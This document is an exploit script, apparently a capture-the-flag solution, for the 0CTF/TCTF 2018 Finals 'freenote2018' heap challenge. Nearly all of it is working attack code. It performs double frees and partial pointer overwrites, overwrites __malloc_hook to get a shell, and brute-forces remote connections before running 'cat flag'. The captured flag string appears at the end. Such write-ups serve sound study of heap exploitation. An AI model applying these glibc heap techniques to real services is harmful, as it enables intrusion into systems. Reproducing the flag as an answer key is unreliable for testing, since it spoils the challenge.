0CTF/TCTF 2018 Finals freenote2018 pwn

exploit.py

from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('./libc-2.23.so')
elf = ELF('./freenote2018')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "192.168.201.16"
RPORT = 13348
LHOST = "127.0.0.1"
LPORT = 13348

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./freenote2018'], gdbscript=gdbscript)
else:
    # conn = process(['./freenote2018'])
    print 'brute force'
    # conn = process(['./freenote2018'], env={'LD_PRELOAD': './libc-2.23.so'})
    if opt == 'a': gdb.attach(conn)

# exploit
def init(length, content):
    conn.sendlineafter('Choice:', '1')
    conn.sendlineafter(' length:', str(length))
    conn.sendafter(' content:', content)

def edit(idx, content):
    conn.sendlineafter('Choice:', '2')
    conn.sendlineafter('index:', str(idx))
    conn.sendafter(' content:', content)

def free(idx):
    conn.sendlineafter('Choice:', '3')
    conn.sendlineafter('index:', str(idx))

def show(idx):
    conn.sendlineafter('Choice:', '4')
    conn.sendlineafter('index:', str(idx))


log.info('Pwning')
i = 0
while True:
    # conn = process(['./freenote2018'])
    conn = remote(RHOST, RPORT)
    try:
        init(0x100, 'hoge')
        init(0x58, 'z'*0x18)        # 1
        init(0x18, 'z'*0x18)
        free(0)
        init(0x18, 'x'*0x18)        # 3
        init(0x58, 'a')             # 4
        free(5)
        free(1)
        free(4)
        free(1)
        init(0x58, '\xa0'*2)
        init(0x58, '1'*0x40)
        init(0x58, '1'*0x40)
        payload = 'x'*0x28 + p64(0x71) + 'x'*0x68+p64(0x71) + '\xed\xba'
        edit(0, payload)

        init(0x58, 'a'*0x8)
        init(0x58, 'b'*3 + p64(0x71)*2)
        free(4)
        edit(4, p64(0))

        init(0x58, 'hoge')
        payload = 'x'*0x28 + p64(0x71) + 'x'*0x68+p64(0x71) + 'x'*8+'\x00\xbb'
        edit(0, payload)

        # unsortedbin attack
        init(0x58, 'hoge')

        # a7d94f modify __malloc_hook
        edit(9, '\x00'*0x13 + '\x47\x81\x00')
        init(0x100, '\x00'*0x100)
        conn.sendline('ls -al')
        conn.sendline('cat flag')
        conn.interactive()
    except :
        conn.close()
        i += 1
        print i
        continue

# flag{Wh3n_Th3_Tr1ck5_Ha5_B3c0m3_Th3_Pa5t}